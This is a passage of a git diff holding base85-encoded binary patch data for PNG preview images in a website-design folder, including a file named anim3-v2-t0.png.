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 T_Sk#_ec}ZpQ^P#{Yd`%L_VlwI literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v2-t0.png b/website-design/previews/anim3-v2-t0.png new file mode 100644 index 0000000000000000000000000000000000000000..e982a3c815c4f02dc862881eec0f5d2ff3c31239 GIT binary patch literal 45065 zcmb6B2UOG9^FEHdAKxyP6+}>61+rFD1XQG#xC@9%6A@XYWEByW5&@|JvaTXU1qBt6 z5`|TyuOKxEQ9vU#B2p6)Lx9kd&_nv~MnMDk{h#yC;p_@Y?(5z=GtWFTcjm^Nur^=2 zdh_aK%a*M@cGUFbvSlmPmn~aiyz>9RUo>Z~{JLz}x@E^qe?JwRI@+`9iZlBxox|R& z^3y*$Z|n?BW21tj6OPJG>?9WTJH>8SdDvIye$jw8CRDbcZAJ3Pvgy{&3eJ41KvdE5UTXyna(UC_De}!>pyU`k z5*0HChhLbt1h{l8{J|wK^S({??zVyrPZzH!G`7d_+Y){=3&o!PpXT?M|D{pM@7I-V zD>70XTCye?tbwZJ%^WstPu|Y5e|j{=Wsogy`;) zeOni|a0Kyy7U(p|9W2@QDEZq<&kQe@MOhz^x~JvA59Q|=z?jnYVNpNdSTbO%L znD=xqo=!miHzoah{fCYPZzo%P?k(PyV7Jq2u`-ofl=^qX9__!mL?)%%J7VXzec7c1 z+-cL&L9LV@3{WPiNdFq980?TW$6_K9moD!Fx>!Pz<)@d5Z;y|Mg!1fhR{iIjQYI%? zOf67+lB2Aze2`+we@mvW-Y@w<*#+A_AkUDr#z;>yc>_J`B_>^I{Aq#J1FKy>f#3V1 z<4d~+2{lf(VD_Dn?KwuyS&V6w#CFwmZ6gNt=K{ajG~$|dS(M_K^Na>6ZA zp?@v{?+44 zio;mX46c6lfbnL;zH6~iT!tA7JV0uO%K~7ryQ(XHuW2BnMp7|C4HkU{K=X|;V&0Nj z2d)Y-JlkD={-DGrCjm8<^vX-%I?2AH-JC<|Uy0xKBTQL5Kk?4Txyc=SwdCpQT>$GO zo}6{DBX$WQ8oUKEmvBMWEpH`(;Xpt2@7jQfLpLSBw$&eBvdwV4#Ezu?LtE8)dIxTe z0a5s{FW>P8I5kr=+XLZSof4TAEc71Ii7=a)R)r6>(}?@zA&<|?uIOCE3h z3iy$E>-^1ZvCY#RWsL~QOEik8+^e2jkWUb4ZzWdw!wElv1hfQA{r~BN`;`j2PL1|< z_x zMA?YX7J&H4bf`M@L5_sq)Y~A5z|o#&or}jv>y_jn_a?lww*>Kbr67BDEs+o7r1t`+ z07sTQSM(8JnSa%x8jKbV_$lGlRI00&Z}gx@8xzGRER;6DTt zyW@y5mgkEXug#mdlLVOZ^tatStbad9`SJYTF59iOSWZ{+qxo<|h?>e0RG3x;%yvF{ zTXqsSy7^%a$CfWdwn58TxIA70kpPp=%PBQ3o7iElvSc4hElL1hJ*1mIlt8tLJ|C!R zZzyt;#9H-~fTBw1$^QdEm26(Xl>4PEcHq?fv~!o5Q7tediMgd_Bzl^eO8fy#Ht7q@ zl>7i@NUmY0O;dH*DKkGX(0>${>Ch+y$E7As3$PT*yx z=t$Rz3H*=5S~}SgJ9vy4zHO;4ZJn_cMw=p7q^_e&;5vNJ2zlDn@AiU-;uDz55_=SL z&?NyuXe<^eaY6HuCERDkWN~b!Uvb*>kB>jl$Wk6q>2LbIXOOl)Wg4GdX>pWomVLR{ z$)i7^XTL+&vYpQjo0T5S53}rOB%ttJ#;&+yOV@m~r)1lbd06`{LgsHn?Kzpw(6y`9 z+qT5wlfo1v0*fb~uBLxC+7o{Dv{YIg{7h|kL!!OyqK>| zZHn$KRa1~LdK%$aA(8_Wj|*ZKPfPFL9lzisEgDlnNUe?y&`r)oZ_7l(41^BVtF6B zO*W#V<_F7UEOHzYU(_?3!*rNMNBbv|-$=fPH7bIh7IfxuibVv^ZkJ8E9-=)vF>8j| zLlhy%!L&PWBkzF%O=gRi;?e!kHcPS$*8QXq!_ZD z3(NkySeNklfZGgKBpi3c7jS~M244;r(U@1oBhL8OIO~CSiqa| z;@wDL6!hss{tUetRW>z{QX^M|V2=)o1WEf`4qlq*D=jT`Gmno{PUqym$jjSZxV!Kd zQT~e;dG9MSGJKqSYGdS7EK~oqvrA097{(-3K!gIBjMCCxqN1H$u~!K5*@=;nEM+~v zS9H2d$?(G~Jn9+|*a+$v_K^`{rl}!`0rw)IJy;*$#YIIqRFj~a8lul{t~WKQT^DuQ zgb$=&YR!Tp0*E8T(hZ@(qnZ3>kIGjEeX(HqH?v%Z~{pr*1s3!U=DU_^qKGS|Sr19JtBB1bTkIZQ>+bF zT@Ayq$iB39X3Kqt`|2{y<8OLA(Qv6e6_$dJQ`8IT?Yj{p_fQSyJJscZ4llUUKn8u^tc*e=8MyBTNnviDLO1#SBN}<kM`(BqW4s^K8QgYBu=~jhSb+6oQzYU5vozgh#ec zPFtpr1kXU(u90j)Df^m;L=;AF*tcm67N$7tZ7k4@_J}H;$k9LZ&+LGl4&alJZaCm>Yz25+Q`&DJXIkY|LLjPT4*T2r`&(G}``cOgTiDszby8o{JvLyjgp4IZM6;yiVrtX% z@J0*4Ck=OBIV%h=ARcUnnh*gWH65ZIgsMRvd9Dj?bCb{E6TsRcG+{HdW< z7Df;_>)h~A13g_zoY7&5+KLGqeLPwco>2vv&BS_Nb`~^%JC%JNCuk>9R|$Z6so=1a zH4rApezf}~ZS3B52M*#B=kTHFJTZbq~X)A>9Z8^!?&* zmpwgI`cR(D;eU1zyUO4&W_tp0w8<{Z^4QGmIIYIq!NFm}@!nRCX6MS_1ElVRXBG+U z?A!*dVe=gw@+M=J6yA6x9(vH-Jt$(Zc?>@g6vWi`o4Uvo5KtFog*&ieoY*lm7Qx;~ zDdXrgqt+YSI_$DcT_;Q&efRDi04M7da>P&9$Am_>F@SuE#$o03Ob4wCjc?Z|oa8b4 zjHjPomx2XTBVW*E(=o&|XVBpq!y{Sk9UbQ3nj!Ulu85Wm2SYilVnW04x3K5Cn#u}Y zmHJ_;hbmyupeHX6472HKiFK#?U8Qr&G_v3KZ(vB(RfgYbeQw38?LpoCxwjQnk%cO| zNt5DH;QKg)En>nydDNHZD9gDn$M_aM7+{rx`}--ZHG~&O7=)L*rbzw+&4NJ}$gPA3 zJyh<#L{1|es<7bz09~K{NIHr#NlxFtai8-eK8<_BmxhlLSw6aQzN5fJt*NOHj_~f! zae7$jJe~_PCPs)RRn9b`eIv}=-*P7D>`}6kLQhm0u?(VrWj}^KK^n0#gI5WUIB7fa z1C;cx2Dgto)J7N!sAcv0^O{s_; z)w6dNj`a!OPAYIkRr1Ku0wsfZWxejn@V&Wv9mswbvkXsSsg}#-;Shr;8RgpuG&GI! zl+2_9j|b(Bqjy<7mX8P;?R*J?@^Y^j?ol43GuRq9ezOzYe7OLlb_NsN)NPQV45K}> zNQy&_{r*XcI{W6vstTH=icPB52!kJg!{39jGbra36fR`feg!h+JqCbv-&dJGfimdn zvDQ}jIYQ(`#cGWB_q$%fl?aYei;89(Ru7*p>YCyG=g*6)^sP|cqTw8D7hI}iI21NJ zMzvG1>0$Rnfp@bchYaL7!Z^ba6%93e7z`5VF3f1v($Zp!#vzg80EsbG-cIE*EM}-q zy-3eMPhQNYOXCPBq_VMhHpm%GTj8s})lzg6xWGVbo<^5ZLJ_QVBir~w&x!kc>Lxqn zRIFALoKS|o+ag)Ec=q#2S;(xL%+JzFv8yTMFoMy+l9IZo(ExAKpg{#6Zc(yk1D{)^ zoYoBV>eS*`{Cz_sP{`+;b;blA2)o%AzEQ)aD75KuAN){Z)kOW4LR`yaU?s~C=r0za z^Tpp*Ybdod=xT}(?hsV?s*neX_*pon%8ud`d!%2&83w>%ZfBEb==rk|-CwtK<_Z~{ zTJ+gi%()82p&%(=9_kNXxQK5l9Ni3Sr>}-g^so$*@0YCggr9kJ5$Q%NOc&Un6n>V$ z8EPAj^!P#oM?3FLjd{)fTbIaY5EasC((XXItD_G5A655vC>p@cETPSJSL=AdkscvN ziD~Kgh7ryqYX~c=iyOBNsPAbZb_7iH)m_=WlY|=cm<5uT9w&_DIuur2@@3!h-vJxV z>neuuyG?9m9;c+BgoTtXe0pqeGppyXst$;-(>&4qx3k?-Lv@~irWpqe<3(ecSMK)~ z#8Wm@8Q2OHBVmGxF2K3g4vctTzHBZ0`M%);N=VX#ywLB|Z}%;%tgu2%TYFphI9X$Z zaj6Ph)Z!4zfO6l+5YnKq^0Y${WIp`XSI%I>2Pcx^Aa}COf8y%p;P&Z+@U^ySkbGB$Bh>zTw-hcYbM-(vzE_Sor6EIdDhrq^FufO>|>8!c@s zQ-MF$@@!9mWA052=j8OcrWuDn@4%}mMg?;b6x0F#cW;(U0p6i{#SD+DVm)xB+^;)d z8Lsd%2dms?u4EAU%7;`wMwZ)Uy;8=^-)^#tB%3r?J5Hl=xP%Cye;rM(-@3R{FZ|uq z;ZGc$l+BON;fncOK#)xWua(;0kW^U7Xuo1d-HHvS{!v!8 zk;G8GaM0K9@gLNw$3I;{?%;)o9iNzdCr)7)@R-v08`N-aZ2iTi$iW zi-c1-=%6&}>g-G-ucgjSZZa@klqZ)Vg=`Oek|jRb=$W3R6z!6GWg+*Js} zY|?b=^TG-@D*^#Qv(m9j(N-J29vf$ISm#h4HhBCbj1@RFcrVQ$@Ma1^SV7r=Vr!xV zji0#OAWBb3Ktp?Ch0+(^*KbC z(VnTk*C*pOb`lAcij0$djM?|yoI%f@A+=tuu1i#rf#@Cl%yWqUH4%e!4rT~3K`e6G z=pMVQn`KovIE4tu^)TGlAnWt%Q4uXyv$H1&SVq*g3?Jlr>pufLna>b_&a*E5nS!AM zG=IrxbEuIzRB|XvC6bV;C&%TiQHbEzAXl<9J(#2ixjw6+EQK7DkTd(ztuBA3huI+= zEzy`1bmgyQf3`f<;%qTwt?L?NnGDJM6V-kh?fpX?oEXXg*}n19_38=(-(atdxN^Jz-k zdZ4sGU5`ITq@$ogOy?q4H-9A%mRSj*U?B zY$vyP#%Gpy;45xG;a^giHIy_Dv-6YrHS;;dBuvoVCfu39!z{}9PYjVV4$mVzPUCsd z?yzu>nYI3OpklpUFk{4cb!0W;zI*+}z3f5){1fG{Y6HR0bF%$KiVtPgfafl;)iz-W0X4BjGE0m=n z#$kX)>-p1n$OwT7<>cn9q1^I;I#3OG*$87L7inO7)A>4-(SF~-a(@kY&zUfh=jC_% zu$%#sR2BC!2zACg0(g(xl;WL|@D+W)+JlaK&DTMM*bz|5@NzEMkF7O&3Zm@L#z)O% zGgQ~+*xi+aV|LGXbhzjSfBq{tz9fk3Xm4K<#+m4YeNbVcQnh7uBSx=RqY#?DyVz2_ zBt)&7rzb9$f{h%}G3EI0bDd?Z@y^emRM_{YKmPI9bH`#2bHPLdj6c!KnN-WqkL2k^ zRM&nWpbSuk(iKVEJz+aJJWBV+q98&#urEp}cZLQDTSxZee#(}KgW&WjNns6X=dS?E zZ#lff<{q7ikY{5AV;ds3|1Uq^yAV!ne<+ex2&HD~R}J%3n$Mr^FZ@$EeH`xXIT8Xj z80uEJ4S@pNxC2m)Lgxza7dms zLU5XR5{a|HPPP-@LZ7*PkrnmmNpK`v?F7VT7JvBuM?#7yZSEu}3aO$0_4HQHT_q1& zyp^xA`4B_IMUUh+;d~=DK@<%hVh)Q`HAKcCb(tNd-WJETk(UPdH>Vjm?7n8{$UI@n zyfosajoA~D!|jWaqp4V~M4l0T?vzq%s>sTx^i)ii65(rX)}G4K3-grXkDLZ z^QpbPU7$Pwr+s{8K|u_&GOo>n2&qx&=l3(h2fJ27x56q}4H+Cv)O|qphFS@j}55~mJq7~wm^!&Ju$pj>IGI5tp zGu94|x+`a$rZ47~<+Ro7k{&;{R)pRoondac=EpAN8T~>yXkL+(VzbLAWTqlNKYx}$ z_8_DYC&>uvMbrCGb+P6~2+zAZI0V@UD`xvuPxJfCq1H^o2BboDD+N3xPCaU1V89i( zCbAgfmpLd@fSo06>K3L}&GR^lXrA)pMq{nZ8R&_+}4vPUn^U?1N=1^fZ4OYR#FjIgBeq1Zj(s zyE8^dh_2|&vy7$&pNPrnj+(^M2W|Esyj{ccpZ)N(FFb*8*U+ek)E(h+tp^=w*7N?t zEf%Awzd_vJ?Ok5}EBGnj&Obqc+ZmCn9jmiqyLP0{+o#{_# z%CAaZ?ZWSOka0L5Ai%G|j0M?15#Ih)Gto)+0k4cv;cA5$d%ug%2 zm&h_y-4=xEO*c|@)*umXMC$ZhZOt&FI)#8pQ~}AWR)Gq#J&@xKG~iI}Pw(`I0xX2p z{ZcbT@$%)%e^h_~fPhL|$JWt4V)V$^?T8;uB@V)xc`m17J%vdd`)`K>m3hovNQ!*j zq@&?^$$Mxze1_4Z5T_i#t1>l{aXxedRn`}w?oxTaD|Q1lO~bi-Y+wYAnQS)bs1v2n zRRnE+mc*W1oj)g<^dkg8!3c<2gGDnsfe3~$d)hA1f@l3`KQ&h-tR#b0@wv~aMh;EQ zo@Bsrtq}*P41z6$ zkt)3`6(qbryt!@*i6{EwxB;`HREq`|l_w)Em^{3wo#?Yx+UC!w%r$38<)7b;k=Tz8 zXi3Q^z8_F830JQOGz%^gz7`5>g*l(8i8rG{LGs5{AW-e`fyTuub9?c{fYmRbv2^SL z{OA+?nDvU?&YgOSdspI*R*8Z{(*TgE2sXe$bv@0`T`=LnpptmLcl)OSX|q&=penkS zGJrvGDrrlcZI7=R}1FUZ^-rW7M0!%`ZFBxg3RfGEpXEgwy1edUNt#M z<`vu5`wD+q_2rP_Y8wCEE08y+^bN3W!6gi}wYhb}9_$tselmd5AKK?8q#K@9N>4EM zn;pBhT&mi?o!*=(ph-bi3YZAvH0P&OK#%qb|r>t7l)a)i(hihZC(0-p9O9S=|?dIq_^wL&b(S;6T3Ev5l)LnjIg=7z%)ZI8S zj)o>1Y~K+ZAs8);Q#Lvo+*tF|Z9cpIR2eFfq~=i%Ldd;(Q3Es-zm^itM%!xd4f9Au z?9Y$r?tNxa4X>FL0@Ni{xbX_o(ADh9*}ynuy$L|(S<|-pIR$617p!K-no_j;3tqGk zd5VU?Pw3&Qbp)s0vHVpmP9s!cH_Nn4*6#;|fHbk8p~gn2B|@?~_sPY~=K{Wv`xQwF z!hPhozNhETk1fb@K4`(r80z8&5Q2{dM$s>WL@dPk>fmePm09ZH37hxCn9L@Psz2@R z13ZN@Y(@`)Ioee%SOvEddhaU zlmjP-09hTMcyeQxCe)YRa~AXJ(q!Zsg@Vy>!uf;LF8+T66cp#dM%0C`lySQcePO3l z%4|#qIlteI>&pAqq;9F6oUIFxb|n|N&#W!>^z?*Iyo?u&4dFDxT)Oy_-3i2sNs}Pg zz0P}{4vr>*1e%5`=G36OdvY`D5}t9R<`1e}6z@N9z&EC*>g<*|X5{knT)$dbDFn&w zfx|9_i3HUhT0ue#I1-DJjoT=b;zD z4-P)1pyn!Hg#+20KZ^ssXQ?5KHg6&&M1_C1kLjj}GC(p(h%^;Tc@ao?ecBbZtvXF3 z6=^pcioUBR0L-|e+9c@ff#OXi#X!HE51LUwiFlb`OH^PZuDYrjc$~?t`Kof)?g;m* zRe?w{e1*Q~Z4kSRNx_M#G?02>r-J_oY`v9I?c~rC;S?OFm*TyK;HaW<62s*=tcH}F z@A~Lid?AwlJdqwkNHgg0Rk}69OG!O);z?ztz9GJ6TG$^E$u2C&ajiPYX0=i%WrY+JQ>*b;NgLv->x?l}kTb(3ALj^-antoDSst-J(rwiI%%EU#AJpkPE(xp{W zh6&rngviUwYoFmk>VHj*j+%)!@>P{%<&4gk+YPgDSG$_1y!BNbbzK`cxt4fpV6_uC zvIF6`Pu<6zw>D}>LwA(rSB2L#S%`!@8$73V50^U}%gL0g>Lxe=KP(*Xf;|8z9TJwo zj}O(I`ETrbO7&0wfuj`}1HDHr)0KY<+2&vE755N3n+LiE=HtivMpO`z13 zKQp2hGgk#|SB%vS9Q`x+xRGAP(<_8{A@2NF!jYz0Vt^KlkdaJUGo!Q(U{6AcPoR`7Okgx>w$0Yf!bR@bvN7$-~@2;TXY#26sLTFQ)#)6Rb-Hzy< zxVIMnv$V3|Baq`GR}RD(fSeGl`xWP8>oZqqhgw;|W@rRowGiVs@M-AZQ}zy#ZmU=f zvQl6`)1&SKT2E2B5gBU4jmJaGI2g_(P|+5G0QTzqc$cOJn*|QaXpjgsS4=RyISnK? z-x?`SBpbRPcXOlNGl@z(=+@rI&7S7Tj6wtZE>ev=FJA_S9o%l!!a#IfwY#3(Lr$j) z1n%w4VZhUEloQ{CeR|aWcnvl9uz6i=GRU`qv`~g+*u-qi8U>9h{);_!&y@`VUzOi* zTh`!Ea1j&&@F^6yBP$hH<}*Jl_9{$emkxEWCD;)MZ>HA z^|4dGM5w#t@HSYzVUXK@^~chhsFm0&r%fl?e_R|C(DdnBsXAy((|b#OWO|}G?T4ks zd6n%F)$(ffnf!Y(aSlG`#PXecsXvpbn)>%>h;`i>o&I?19a?3@KdPSwCBNSaeD?G% zC=L_XtV_0sW$`_=4@gukiYv~)mr?Ej6==-W?JjAUANAqf1%=D=&so}{B{|N&g$t^p zG?QMtw`ti;Y~Kow62G3VeEY9Uby}Ukc#rRVWybgSUAh+*dilo^A2iJ!W_|yZcak3{ 